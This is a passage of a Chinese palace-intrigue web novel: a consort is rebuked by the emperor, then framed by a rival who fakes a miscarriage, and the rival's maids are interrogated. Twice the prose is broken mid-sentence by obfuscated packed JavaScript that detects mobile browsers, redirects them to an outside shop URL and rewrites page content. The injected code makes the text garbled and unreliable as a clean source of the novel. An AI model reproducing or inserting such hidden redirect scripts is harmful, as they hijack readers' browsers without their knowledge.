若真如她所言那般,方司灯是因利诱做出了交换,为之付出的代价太过惨烈。能让她如此决绝赴死,她所经历之事,将会是何等沉重。 宫女都是穷人出身,若被逼迫,她无法反抗,所做之事,都是身不由己。 因着她是罪人,无人会可怜她,更不许可怜她。旧被褥裹着,像是垃圾一样,丢弃到乱葬岗。 江舲嘲讽一笑,道:“后宫遍地冤死鬼,清白与否,并不重要。另有一重关键,他们最后查出来幕后主使是谁,会如何处置,处置到何种程度,处置谁。” 文涓愣在那里,江舲没再多说。已过午饭时辰,她又冷又饿,起身去更洗。 用过午饭后,江舲勉强好受了些。灯烛处的差推了出去,她如今是嫌疑人,正大光明无需出门,便准备去午歇。 刚坐在床沿上,踢掉鞋子,黄梁来了。 江舲怔了下,心霎时提到嗓子眼。 莫非,有人栽赃诬陷到了她头上。黄梁他们查到了证据,要来处置她了? 25.第二十五章 江舲赶忙走到厅堂,黄梁抬手见礼,道:“皇上有旨,请江美人这就随奴婢走一遭。” 这个时辰,元明帝当在午歇。江舲愈发紧张,问道:“皇上见我有何事?” 黄梁笑呵呵道:“奴婢只听差办事,还请江美人见谅。” 身为元明帝的心腹内侍,黄梁自是人精中的人精。做心腹除去忠心,嘴当如蚌壳般严实。 江舲不敢指望能从黄梁嘴里能打探到消息,转而问道:“方司灯之事,都查清楚了?” 黄梁道:“江美人稍安勿躁,宫正司那边正在查。” 既然方司灯之死尙无结果,元明帝宣她前往垂拱殿,便不是要处置她。 江舲暗自松了口气,朝黄梁颔首道谢,“走吧。” 到了垂拱殿后殿寝宫,黄梁请江舲在偏屋等着,抬手告退,“皇上正在歇息,江美人且稍等。” 黄梁退了出屋,江舲独自坐着苦等。 随侍而来的文涓四下张望,低声安慰道:“美人且安心,皇上午间顶多歇息半个时辰,再过一阵就当起身了。” 江舲嗯了声,神情渐渐变得不安。 若真有急事的话,元明帝便不会让她等。提早将她叫来,让她坐冷板凳等候。内侍不曾奉茶,定是上面有旨意,元明帝这是在惩罚她了。 江舲如坐针毡,不断朝门外张望。在她望眼欲穿时,内侍终于出现:“皇上宣江美人前去觐见。” 等得太心焦,到这时,江舲竟然奇异地平静下来。 是祸躲不过,早死早超生。江舲怀着准备赴死的悲壮,跟着内侍来到大殿。 殿中无人,内侍立在东屋的门前,抬手打起了门帘。 眼前正是元明帝卧寝的次间,江舲微愣了下,抬腿走了进去。 元明帝双手伸开,司寝宫女正在伺候他穿衣。宫女捧着银盆,帕子立在一旁。 江舲飞快打量了一圈,屈膝请安:“臣妾见过皇上。” 元明帝眼角斜乜过来,含混着唔了声,“坐吧。” 江舲谢恩之后,在锦凳上坐下。待龙袍穿戴齐整之后,元明帝坐在榻上,宫女半跪在地,托着银盆伺候他净手。另有宫女拧了热帕子奉上,他接过擦拭着脸。 端瞧着眼前的阵仗,江舲不禁呵呵:“天啦,皇帝竟然亲自长了手,还会亲自吃饭,亲自拉屎啦!” 元明帝呼吸一滞,手中帕子差点掉落在地。宫女正拿着银匙挖香脂,他气得将手中帕子一扔,伸手夺过,往脸上胡乱抹了,沉声道:“都退下。” 伺候的众人,齐齐退了出去。屋中只剩下两人,霎时安静下来,落针可闻。 江舲禁不住抬眼偷瞄过去,元明帝双手搭在膝盖上,正板着脸瞪过来。她吓了一跳,结结巴巴道:“皇上,皇上叫臣妾来......有何事?” 元明帝不悦道:“让你做些事,你成日推三阻四,净顾着躲懒!” 江舲一脸不解,呐呐道:“臣妾愚钝,不明白皇上所言何事。” 元明帝气道:“难道朕还会冤枉你不成,你借着避嫌,将灯烛处的差使随手一扔。如此草率行事,竟不知反省!” 原来他是为了灯烛处的差使,江舲松了口气,弱弱辩解道:“灯烛处的方司灯自尽,臣妾确实该避嫌。且臣妾刚接手灯烛处,就接连出事。臣妾没用,还请皇上收回成命。” 元明帝气极反笑:“亏你还有些自知之明,知道自己没用,愚不可及!给你机会管事,你倒好,管了没几日,就忙不迭丢开了!” 听到黄梁回禀时,他简直恨铁不成钢。 揽月殿与方司灯之死,他从不曾怀疑过她。以她的脾气,估摸着她又在繁英阁睡大觉,让黄梁前去将她传到寝宫,故意让她不得安歇。 元明帝深深蹙眉,百思不得其解。 无论前朝后宫,任谁都想着管事掌权。他让她掌灯烛处,她竟推三阻四! “皇上训斥得是,臣妾深感惭愧。”江舲垂首规规矩矩领训,心中却道:“又没多的银子拿,还要担一堆风险。没有好处,坏处一大堆,鬼才要管!” 元明帝无语凝噎,原来她要有好处才肯做事。照着她的想法,他给她诸多好处,未得到她半点回报,他真真是亏大了! 他吃了亏,岂能容她占了便宜去! 元明帝掀起眼皮打量过去,见她拘谨地坐在那里,脸庞白皙中泛青,唇色亦泛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16038257|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白,不由得怔了怔,问道:“你可是冷着了?” 尚未到开炉节,寝宫中也没拢薰笼。江舲穿了夹袄,仍然手脚冰凉,她坦率地应是,“臣妾身子弱,无法......” 本想再借机推辞灯烛处的大麻烦,说出口之前,下意识先去偷窥元明帝,见他似笑非笑,慌忙将话吞了回去。 元明帝冷哼了声,既然她识相,他就不再追究,道:“你既身子弱,死人晦气,跑去看作甚,记得以后要避开些。” 江舲应是,心里却想着:“活人远比死人可怕,甭废话,给炭,多多的炭!” 元明帝脸一黑,前朝还有正事,懒得搭理她个破落户,挥手嫌弃地道:“回去好生管着灯烛处,不得偷懒耍滑。要是再出差错,朕唯你是问!” 烫手山芋没扔出去,还被叫来训斥了一番。江舲欲哭无泪,挣扎道:“皇上,如今司灯司无人,臣妾管不过来。” 元明帝无语半晌,耐着性子道:“若你觉着谁堪用,且先指由其管着。” 宫女由尚书内省裁定,宫正司督查。司灯属于六品女官,女官升迁更为严格,尚书内省必须呈交元明帝定夺。 既然元明帝是最终决定之人,江舲明白他的言外之意,让她自己选,亦就是提拔自己人。 江舲离开垂拱殿前往库房,一路走,一路沉思。 元明帝竟然公开让她扶持自己的势力,难道他不担心,她在后宫大权独揽? 亦或,他是在试探她,选她出来,打破后宫如今的格局。 江舲沮丧不已,只怪她以前看书时囫囵吞枣,不知后宫隐藏的格局势力。 要是她选了某人暗藏的棋子,就是给自己挖了个坑。 愁也无用,江舲摇摇头,很快将这些抛诸脑后。她摩拳擦掌,准备选出一个可靠能用之人。 以后,将差使交给她,自己就可以做甩手掌柜了! 出了夹道就是库房,这时,高才人一行从夹道口转身出来。看到江舲,她停下脚步,屈膝礼了礼,嘴角噙着丝冷笑,道:“我正要去找江美人,既然在这里碰到,倒省了事。” 江舲心中一咯噔,瞧高才人的架势,是兴师问罪来了! 26.第二十六章 自从撷芳阁一别,江舲在元明帝生辰上与高才人见过一面。不知,她可有搬进正屋? 高才人扭着帕子,生气地道:“我体谅着江美人以前没管过事,接了灯烛处的差使,一时手忙脚乱,倒也正常。只好些天过去,灯烛处仍旧乱着,着实说不过去了。” 江舲听懂了高才人的话,她在嘲讽自己没本事,管不好灯烛处。 果然,灯烛处就是一团烈火,从她接手之后,就没太平过。 因为一根蜡烛,引出太多事,江舲不愿再横生枝节,诚恳地问道:“高才人,你究竟找我何事?” “我倒有些糊涂了,江美人是真不知,还是假不知。”高才人柳眉一挑,故作惊讶不解。 江舲皱眉,道:“我真不知,高才人你无需拐弯抹角。” 高才人眉毛下落,呵呵笑了两声:“照着规矩,我每日该有两支蜂蜡,两只支蜡,伺候的宫女内侍各一支乌桕蜡,灯油两油端子。如今,我连蜂蜡的影都没瞧着,只得一支白蜡,宫女内侍统共两支乌桕蜡,半油端子灯油。我不知是库房的灯烛紧缺,还是江美人疏忽了。黑灯瞎火过了这些天,我今朝亲自来领,端要问个清楚明白。缺的那些灯烛,究竟是何缘由。” 原来是灯烛被克扣之事,江舲以前被克扣过,这些在后宫再正常不过。只高才人的话,她也不会全信。 毕竟因蜂蜡引出了人命,江舲必须万分谨慎。她斟酌了下,道:“待我去看过账本,再给你一个答复。若真短了你的灯烛,我一定会如数补齐。” 高才人手中帕子一甩,拔高声音嚷了起来,生气地道:“江美人莫非以为,我是说谎了不成?” 她的声音尖锐,引得库房那边有人张望过来。江舲开始头疼,好言好语劝道:“高才人稍安勿躁,今朝的灯烛,且先领回去。我会很快给你一个答复。” 说完,江舲不再多言,越过高才人朝前走去。 “哎哟!”高才人突然一个趔趄朝后退,随侍的两个宫女急忙奔上前搀扶住她,紧张地道:“才人,才人怎地了,可有摔着?” 夹道能容一辆宽敞的马车经过,以她与高才人的身形,五人并排走都轻轻松松。 江舲被惊了跳,瞬间想到许多宫斗的桥段,警惕地朝高才人看去。 高才人抬手轻抚着胸口,一脸惊慌未定,轻咬着朱唇一声不吭。 江舲浑身戒备,心道高才人段位不高,找茬之意着实太过明显。 夹道口有暗角盲区,到时十张嘴都说不清,江舲不再多留,抬腿匆匆离开是非之地。 文涓紧跟在后,小声提醒道:“美人,奴婢以为,高才人故意找美人的麻烦,美人莫要着了她的道。” 江舲点头道:“我会离她远一些。” 方司灯之死传了开来,司灯司的宫女们三三两两聚在库房西侧,嘀嘀咕咕议论不停。见到江舲走来,忙住了嘴,低头四下散开。 江舲回头看去,高才人一行还在夹道口,她赶忙道:“你们等一等。” 宫女们面面相觑,站在那里不动了。江舲走上前问道:“女史何在?” 女史是掌管账册文书的宫女,无品级。人群中走出两个相貌清秀,约莫十七八岁的宫女,屈膝先后道:“奴婢巧心。”“奴婢兰芸,美人有何吩咐?” 江舲打量过去,对巧芸有几分印象,记得她嘴皮子极为利索,说起话来,休想有人插嘴。 “账本给我瞧瞧。”江舲说道。 快到领灯烛的时辰,账本已经在案桌上摆好。巧心转过身去,捧了账本奉上前。 江舲接过账本飞快翻看,不由得暗暗叫苦不跌。 账本上记着库房支出的灯烛总数,各宫每日的支取数目,前来领灯烛之人的画押。除去重华宫等,其他各处的数目皆按照品级月例,丝毫不差。 江舲在撷芳阁时,从未见到过蜂蜡,但账目上,清楚记着她每日领取了两支蜂蜡。 蜂蜡若非被阿箬芳荷贪了去,便是库房的记账动了手脚。究竟真像如何,一时半会也难以理清。 高才人站在夹道口,往廊檐这边打量。江舲当机立断,将账本递给巧心,道:“先将今日的灯烛给高才人,再按照高才人的月例,拿十天的灯烛给她。多出这十天灯烛的本钱,我来补齐。” 接手灯烛处不过七天的辰光,多余的三天,就当是江舲送给高才人。 花钱消灾,快些将她打发走。 巧心兰芸听罢,惊讶不已,神情很是复杂。不过,她们都没多问,招呼宫女去取灯烛。 这时,陆陆续续有宫女前来领灯烛,高才人也缓缓走近了。江舲见她脸色苍白,眼眶泛红,本能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16045930|177287||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地朝后退了两步。 高才人在案桌边站定,屈膝礼了礼,扬声问道:“江美人看过了账本,可能还我一个清白?” 巧心与兰芸拿着灯烛,正要交给高才人的宫女。江舲脑子一动,一个健步上前拦住了:“高才人,账目我还没看完。你先将今天的领走。” 要是高才人在众人面前嚷开,无论江舲可有补给她灯烛,都坐实了克扣贪腐的行经。 一旦补给高才人,其他人跟着要求补,江舲还成了自掏荷包管事的大傻蛋! 且江舲下意识觉着,高才人这时跳出来,绝非巧合,十有八九背后有人指使。 高才人马上委屈起来,拿着帕子蘸了蘸眼角,大声道:“江美人,既然如此,不如,就让大家一起评评理。这是瞧着我们好欺负,克扣着灯烛不给了。” 前来领灯烛的人越来越多,大家见吵了起来,纷纷上前打探:“出什么事了?” 有人道:“好似克扣灯烛之事,高才人亲自前来质问,与江美人吵嚷了起来。” “克扣又不是稀奇事,你我被克扣得还少了,总算有人不服气,吵嚷了出来。” “嘘,你小声些,仔细被福庆宫的人听去。” 福庆宫的赵德妃以前管着灯烛,说话的宫女瑟缩了下,不敢再吱声了。 江舲心沉了下去,高才人一看就有备而来,躲过今天,还有明天。若只为揭露克扣的事实,还不算最严重,因为是元明帝按着她管灯烛处。 方司灯之死尚未有眉目,迷雾重重。 江舲烦躁无比,拿起桌上的账目,沉声道:“高才人,你说话要讲事实依据,灯烛处的账目上,有你宫女的画押!” “账目,什么账目。江美人,你敢把账目,拿出来让大家都瞧瞧么.....” 高才人伸出手臂,越过案桌来夺账目。江舲见案桌晃动,大感不妙,连忙松开手。 就在此时,高才人像先前在夹道口那般,踉跄后退,“啊!”地一声惨叫,神情痛苦地捂住了小腹。 江舲怔怔瞧去,脑中顿时轰地一声。 高才人藕荷色的衫裙,斑斑血迹晕染开来。 伺候的宫女扑上前,扶着无力呻吟的高才人,惊慌失措尖叫道:“才人,才人你醒醒啊!血…..才人肚中的龙胎,才人肚中的龙胎没了!” 27-30 第27章 “请太医, 快去请太医!”江舲慌了神,惊声喊道。她不敢上前,吃力地将目光, 从高才人裙摆上的血迹挪开。 “巧心,你亲自去一趟, 让司舆司的抬软轿来,送高才人回撷芳阁。去, 要赶快!” 文涓抓住巧心吩咐了一通, 等她离开之后,再唤来三个小宫女, 分别点了她们去向林贵妃赵德妃柳贤妃几处回禀:“高才人在灯烛处库房突然肚疼得厉害,请娘娘们出来做主。” 兰芸机灵地搬了凳子上前, 对着急哭着的两个宫女道:“快扶高才人坐着。” 高才人身边的两个宫女年纪都不大, 年岁长些的红叶咬着牙,拼命去搀扶她。六神无主的绿枝见状,忙抹了把泪, 扶住了高才人地的另一只手臂。 两人身子偏瘦, 力气小, 高才人好像昏迷了过去, 人使不上劲。一时间, 两人很是辛苦, 高才人依旧软软瘫坐在地。 兰芸只在旁边扎手看着,其他宫女内侍亦远远看热闹, 无人肯靠近。 江舲端瞧着眼前的情形, 只觉着荒诞可笑,奇异地平静了下来。文涓靠过来,不动声色拉着她往后退了两步, 低声道:“美人莫要上前。” “嗯。”江舲答了句。 思及高才人先前在夹道口时,平地踉跄站立不稳,故意来夺账目的举动。江舲若还不明白她的用意,真蠢得无可救药了! 高才人肚中的龙胎要真是没了,哪怕江舲撞了她,再推案桌撞上她的肚子,也是因为龙胎本就弱,活不下来。 即便他们都不懂,江舲断不会因此愧疚。更何况,高才人居心不良,无论她是冲着谁,江舲都不会乱施舍同情。 “时辰不早,该当差的,赶紧去当差。灯烛处当心走水,别都围在这里!”江舲对兰芸道。 兰芸忙叫上灯烛处的宫女,开始准备发放灯烛。那边,钟尙宫带着司舆司的人,抬着软轿飞快跑了来。她看到依偎在红叶绿枝怀里,脸色苍白呻吟的高才人,惊骇莫名。 江舲也不多解释,道:“钟尙宫,送高才人回撷芳阁。” 钟尙宫绝不多问,叫上抬轿子的人,帮着将高才人送上软轿,抬着离开。 江舲随后前往撷芳阁,她走进大门,驻足望着曾经无比熟悉的地方,心头荒凉与荒唐交织。 兴许是冬日的关系,草木凋零,到处都透着萧瑟。空荡荡的上屋大门紧闭,灰瓦在阴沉的天气中,显得暮气沉沉。 江舲无声笑了笑,原来她搬走之后,高才人依旧住在西跨院。 此时的西跨院,是江舲从未见过的热闹。太医院的太医与林贵妃赵德妃柳贤妃她们都已赶了来,伺候的宫女进进出出忙个不停,高才人在卧房内痛楚呻吟。 江舲上前团团见礼,林贵妃朝她颔首,便没再做声,继续站在卧房门口。赵德妃脸上看不出任何的情绪,离林贵妃两步远站着。柳贤妃身子弱,手撑在靠墙的案几上,眉头紧蹙,神情凝重。 药味夹杂着淡淡的血腥气,萦绕在窗棂紧闭的屋中,几乎让人透不过气。 江舲便安静站在最后,等着太医的诊治。约莫半盏茶的功夫,屋外响起请安的声音,林贵妃她们几人一下转过身,鱼贯朝堂屋走去。 元明帝面色沉沉走了进来,朝请安的林贵妃她们抬手,拧眉看向卧房的方向。 片刻后,元明帝走进次间,朝跟着进来的几人质问道:“究竟是怎么回事?” “皇上,臣妾只知高才人肚疼出血,太医正在诊治。”林贵妃回道。 “皇上莫要着急,高才人吉人自有天相。”赵德妃跟着道。 柳贤妃则轻叹了口气,什么话都没说。 江舲默不作声,几乎贴着墙壁站着,心中哎哟叫唤:“这屋子确实狭窄,真是太挤了。怪不得以前苏才人想着要换地方,住更好的华屋。” 元明帝不由得朝她看去,正待说话,这时,太医正郑择,同擅长妇人科的太医吴适山先后走了出来。 “臣见过皇上。”两人上前请安,郑择额头冒着细汗,战战兢兢道:“皇上,高才人腹中已有身孕,不幸见红。臣与吴太医赶来时,高才人腹中的胎儿已经不保,落了胎。臣与吴太医替高才人施过针,万幸高才人已无大碍,只身子虚弱,气血两亏,须得好生修养。” 元明帝呼吸一窒,厉声道:“滑胎,好好的胎儿,怎地会没了?” 后宫虽常有嫔妃怀孕,元明帝迄今只得两个皇子并两个公主活下来。郑择与吴适山垂首大气不敢出,元明帝阴沉着脸,“你们且退下!” 两人忙躬身退出,元明帝一拍椅子扶手,高声道:“伺候的人呢?” “皇上,都怪臣妾,是臣妾没福气,没能护住皇上的子嗣。皇上啊!”高才人从卧房内,哀哀切切地哭着道。 “才人,才人快好生躺着。”红叶紧张地劝说着,绿枝跟着哭道:“才人,才人眼睛不好,奴婢去将蜂蜡都点上。” 林贵妃的眼皮微微动了动,赵德妃不经意地朝卧房内扫了眼。柳贤妃始终一动不动,神情如一。 卧房内亮堂了些,烛光从门帘缝隙透了出来,点着白蜡的次间,仿佛亮堂了不少。 高才人深深喘了口气,伤心地道:“皇上,臣妾的月事,这个月迟了好些天没来。臣妾本想找太医来诊脉,怕空欢喜一场,便再忍耐些时日,待请平安脉时再问太医。臣妾心头到底存着一丝盼头,想着自己眼神不大好,冬日夜长,屋中昏暗,不小心磕着撞着,便去找江美人讨要几只蜂蜡。江美人当时并不在,臣妾扑了空,不知不觉就来了气。恰在灯烛处库房的夹道口,臣妾遇到江美人,便语气不大好问了几句。都怪臣妾,臣妾以下犯上,让江美人生气,她怒气冲冲离开时,臣妾吓了跳,慌忙躲避时,一个趔趄差点撞到夹道墙上。当时臣妾的肚子就钻心地疼了下。” 江舲顿时全神贯注听着,心道:“瞧这话说得,真是漂亮啊!” 元明帝掀起眼皮斜乜了眼江舲,忍不住暗自骂道:“一错眼就惹出祸事,还有心情胡思乱想!” 高才人哽咽了声,继续道:“过了一阵,臣妾的肚子不大疼了,便琢磨着,既然来库房一趟,顺道将蜂蜡拿回去。臣妾便去了发放蜂蜡处,问江美人讨要蜂蜡。江美人称,账目上记得一清二楚,并不欠臣妾蜂蜡。臣妾急了,要去拿账本看个清楚。臣妾不知如何回事,肚子突然被桌案撞了下,臣妾疼得几乎快晕了过去。后面的事情,臣妾就不大清楚,不知如何回来,不知腹中胎儿已经没了……” 说到这里,高才人没再说下去,只哀伤,压抑地呜咽。 江舲早知道高才人不安好心,本已平静下来的她,一下气得簌簌发抖,脑中叫嚣道:“呸,脏东西!真是不要脸!” 元明帝耳朵几乎被她震得嗡嗡响,脸色铁青道:“江美人,你有何话说?” 江舲被元明帝点名,再也不客气了,气道:“高才人,首先,你话里话外,都在暗示我故意害你滑胎。连你都不能确定自己有了身孕,我如何能得知,又谈何要害你?其次,我在夹道口时,并没有撞到你,你当时大叫一声,我都吓了一跳。当然,你能这么做,你是咬定了,我没有证人,因为你的宫女,不会替我说话。而跟着我的文涓,她的话不会被采信。” 从高才人找来起,江舲脑中就不断反复思索着这件事,此时她的话,虽然一股脑往外冒,却条理清晰。 “在领蜂蜡时,我与你之间隔着案桌,我手上拿着账目,是你伸手要来拿。我见你来拿,便将账目给了你。然后,你突然惨叫,衣裙上出现了血迹。高才人穿着冬衫,血必须是喷涌而出,衫裙才能迅速被浸湿。滑胎出血,血是蜿蜒向下流淌,而非溅开,且有亵裤挡着,血更无法溅得到处都是。” 江舲以前一天到晚都在刷视频,除去各种佛罗里达沙雕笑话,便是科普猎奇。 哪怕高才人真是小产,按照侍寝的时日来算,她顶多怀孕一个月。这时候的胎儿只有针尖大小,肉眼难以准确识别。且早起流产症状轻,真有那么大的出血量,除非宫外孕破裂,或没流干净持续出血。未抢救输血的话,早就失血过多昏了过去,她哪来的力气思路来冤枉人。 江舲沉默了下,道:“我想问一声太医,如何辨别高才人是滑胎。” 林贵妃等人神色各异,一并朝江舲看了过来,好似不认识她一般。 高才人有些着急,嘤嘤哭得更大声了,道:“江美人,我并未有半点埋怨你之意。我嘴笨,不会说话,有得罪之处,请你看在我没了孩子的份上,大人大量不要与我计较,待我身子好起来之后,我再来给江美人赔罪。” 江舲不再多言,只等着脸色难看至极的元明帝发话,不住地劝着自己:“要冷静,冷静,沉住气,不要只发泄情绪,要讲事实。” 元明帝望了眼江舲,觉着颇为意外。没曾想到,她还有几分机智。 略微沉吟之后,元明帝姑且按江舲所言,一连声吩咐道:“传郑择吴适山觐见。黄梁,你让人将高才人先前所乘的软轿抬来,去取高才人所穿的衫裙!” 黄梁赶忙让内侍去传话,他则亲自进卧房。高才人脱下来的衫裙尙搭在床尾,他道了声得罪,拿起回到次间。 郑择吴适山在西跨院侯差,两人很快走了进来。元明帝质问道:“你们是如何判定,高才人是滑胎?” 吴适山擅长妇人科,他恭敬地答道:“臣听伺候高才人的宫女所言,高才人月事迟了,身子偶有恶心不适。高才人以前并无妇人病,在月事时,亦不会剧痛难忍。高才人肚痛难忍,臣仔细辨过所出之血。其中血块淤积,闻之腥臭,臣与郑太医正由此判定,高才人是有了身孕而滑胎。” 郑择附和道:“妇人有身孕时日尚浅,多靠妇人的症状,血,气做出辨别。” 元明帝示意黄梁,“他手上拿着的衫裙,上面的血迹,可能断定是滑胎所沾染上?” 两人一愣,一时没反应过来。黄梁托着衫裙上前,吴适山拿在手,与郑择仔细翻看。 八成新的锦缎宽裙上,血迹斑斑,不止后幅裙摆,前幅,腰间皆沾着血。 司舆司那边,将高才人所坐的软轿抬了来。元明帝道:“你们再出去瞧瞧,里面留有多少血。” 郑吴对视一眼,心中大致有了些数。两人赶忙出去仔细查看软轿,飞快低声商议了几句,赶忙进屋回话。 “回皇上,照着衫裙以及轿中的血迹来看,血并不算多。身孕时日浅时滑胎,亦是此般,与经血无甚区别。”郑择道。 吴适山眼观鼻鼻观心,欲言又止片刻,最终一言不发。 若早期滑胎与经血无异,高才人衣裙上迅速见红,又是从何而来? 且衫裙前后皆溅上的血,就显得格外虚假。除非,这些血,是事先在身上藏好,趁乱弄破沾到了衫裙上。 元明帝从怔愣中反应过来,想着自己先前的焦心,以为又痛失儿女的难过,顿时怒不可遏,嘶声道:“黄梁,将伺候的奴婢,全都捆到宫正司,给朕狠狠地审。若不从实招来,直接杖毙!” 卧房内,红叶绿枝瘫倒在脚踏上,吓得面无人形。 高才人脸色煞白,失声痛哭道:“皇上,皇上冤枉啊,臣妾真没说谎,臣妾真是怀了龙胎,滑胎了啊!” 元明帝身上寒意凛冽,狰狞着道:“将西跨院封起来,无朕旨意,不许高氏离开半步!”说罢,起身拂袖离去。 黄梁指挥内侍,进屋拉起红叶绿枝,两人刚哭出声,嘴便被帕子堵了。 “老实些,说不定,还能少吃些苦头!”黄梁看着傻了般坐在床上的高才人道,手一挥,“带走!” 内侍拖着红叶绿枝出来,林贵妃面无表情看着,她并不多留,抬腿朝外走去。赵德妃眼眸微垂,随后跟着离开。柳贤妃一直倚靠在长几上,这时撑着站起身,看了眼江舲,缓缓走出屋。 郑择吴适山生怕多留,朝江舲抬手,逃也似的走了。 江舲神色茫然走出屋,凛冽的寒意扑来,她不禁打了个激灵。文涓迎上前,关心地打量过来,道:“美人可还好?” 西跨院除去守着的内侍,伺候的人皆已被带走。暮色朦胧,廊檐下未掌灯,不知何处的寒鸦,嘶哑叫唤。 “我没事。”江舲摇摇头,拢了拢衣襟道。 “外面冷,美人关些回去吧。”文涓道。 江舲回头望去,突然转身进屋,掀帘冲进卧房。 惊魂未定倚靠在床头的高才人,闻声惊坐起,见是江舲,面色逐渐变冷。 “我与你无冤无仇。”江舲实在控制不住,问道:“还是,我得罪了你而不自知?” 高才人诧异了下,嘲讽地道:“宫中无人不知,江美人愚钝,木讷,偏偏得了皇上的欢心。其实,她们都看走了眼,江美人心机深着呢,将所有人都骗了去。” “为何?”江舲执着地问道。 “你从撷芳阁离开那日,我在门边看着你离去。当时我很羞愧,害怕,恨。我喜滋滋地受着你虚假的恭维,等着住进主屋。谁曾想,你转头就封了美人,搬到了人人艳羡的繁英阁。我怕你报复我,夜里觉都睡不安稳。” 高才人抬手理了理鬓角的发丝,蓦地笑了:“我平时无事的时候,不是望着主屋,便是在主屋外走动。我很呐,主屋空着,我被拒之门外,而你,却什么都有。” 记得以前苏月也对江舲说过相似的话,人的恨意总是来得莫名其妙,她恍惚了下,道:“所以你要去争,去抢,要诬陷我。” “我并未说谎啊,真有了身孕。”高才人抚着小腹,眼神一下变得温柔起来,轻声道:“可惜,我没能留住他,大前天滑了胎。” 江舲吃惊地望着高才人,她的神情癫狂,有些分不清,究竟是真是假。 “我其实早些天就知道有身孕了,谁都不敢告诉,生怕出了差错。可惜啊,我再万般小心,还是没能留住。” 高才人眼泪流了出来,她看向江舲,泪眸中迸发出的恨意,让人不由得后背发寒。 “你可知道,滑胎有多痛?我觉着快死了,活不下去了。我这辈子,就只得这么一个骨肉。” 江舲想起高才人在库房倒下时的痛苦神情,怪不得她那般真切,原来真有过切肤之痛。 “等你也滑胎的时候,你就能明白了。”高才人阴恻恻地笑,咬牙切齿地诅咒。 江舲被她笑得毛骨悚然,恼怒道:“你自己滑了胎,与我有何干系!” 高才人狰狞着道:“你管着灯烛处,月例中的蜂蜡,我从不曾见到过。你敢赌咒发誓,若你贪了去,你就被天打五雷轰!” 江舲只觉着无语,道:“我不与你玩这些小把戏,蜂蜡短缺,并非一天两天。我从没想过要管事,接手灯烛处亦非本意,压根没管过。你不敢找赵德妃,却来找我,你是看我好欺负罢了。” 高才人垂下眼眸,淡淡道:“我说过,从没怪到你身上。你不配,占着那个位置,更不配。” 江舲一愣,想着最近的风波,道:“你看我不起,却借着早已没了的胎儿,故意闹得这般大,明里暗里都指向我。你肯定想过后果,要是被识破,你的下场该当如何。若非有人许诺了你好处,便是你真疯了。” 高才人合上眼,半躺在那里,不再做声。 江舲盯着她,片刻后转身出屋,没再回头。 为财为情为名为利,世间种种,不外乎如此。 回到繁英阁,江舲一进屋,就感到暖香扑鼻,她诧异了下,道:“还未到开炉节,何处来的炭?” 青纹上前伺候江舲脱下风帽,道:“早些时候,张善送了两筐上好的银丝炭来,说是皇上的旨意,天气寒冷,先不管开炉节,拢了薰笼御寒。” 江舲心道原来是元明帝,垂拱殿冷冰冰,他自己也受不住。 更衣之后,江舲用过晚饭,坐在榻上吃茶,沉思着最近接连发生之事。 指使高才人跳出来的用意,始终在灯烛处。因为,灯烛处原来关系着林贵妃与赵德妃。 林氏进贡灯烛,赵德妃管着灯烛,两人能一直平安无事,灯烛的事情没闹开,因为彼此都不干净,各自有得利。 赵德妃将灯烛处的事交了出来,江舲接手管上一年半载,赵德妃以前账目不清不楚的地方,一笔抹了去,与她再不相干。与林贵妃之间曾有的微妙平衡,则由此被打破。 两虎相斗,总有一伤。揽月殿蜂蜡出事,林贵妃与赵德妃两只猛虎,一并被兽夹所伤。 而江舲自己虽无辜,被牵扯进去算作添头,顺手一起收拾了。 到底是谁呢? 江舲捧着香茶冥思苦想,觉着人人都有嫌疑。突然,她脑中灵光闪过,双眸一亮。 只要做过,便会留下痕迹! 第28章 黄梁与宋宫正正在廊檐下说着话, 从小院外走来一行人。为首之人身着一袭绯色罗袍,腰束革带,脚蹬乌靴。白皙的面孔, 在灯盏下仿若夏夜中的栀子花。 那人抬起手,身后几人停下脚步, 离得远远站着。他走到廊檐下,宋宫正颔首招呼, 他颔首回礼, 对黄梁道:“老黄,又办案了?” 袁都知袁长生, 勾当皇城司,日夜守卫巡逻皇宫。他巡逻到此, 黄梁也不回避, 情不自禁自禁瞥了眼宋宫正,看到她古板的脸变得柔和,暗中骂了句:“生得再好看, 也是个阉人。这些妇人, 真真是见识浅, 眼中只看得到颜色!” “撷芳阁那边的人都安排好了?”黄梁点头, 眼神却不由自主在他脸上, 腰间来回扫视。下意识扶了扶自己腰间绷着的革带, 将突出的肚皮往里吸了吸。 “你开口发话,我正准备亲自走一趟, 保管万无一失。”那人笑起来, 眉毛一挑,眼眸流波。 黄梁朝天翻了个白眼,哟了一声, “这是皇上的旨意,我可使唤不动你。” “瞧你。尽说些气话。你我都在皇上跟前当差,哪有使唤不动的道理。” 袁长生又笑,朝黄梁抬了抬下巴,“你忙,我先去那边瞧瞧看。” 黄梁嫌弃抬手,“去去去,别在这里耽误了我的正事。” 袁长生咄地一声,转身潇洒离去。黄梁盯着他修长的背影,嫉妒地啧啧两声,听到屋内动静差不多了,与宋宫正一并进屋。 阴暗冰冷的屋内,豆大的灯盏氤氲,血腥气浓得化不开。宽长凳上趴着两个一动不动的宫女,豆绿色的衫裙,浸上斑斑血迹。 “可愿开口说实话了?”黄梁袖着手,问道。 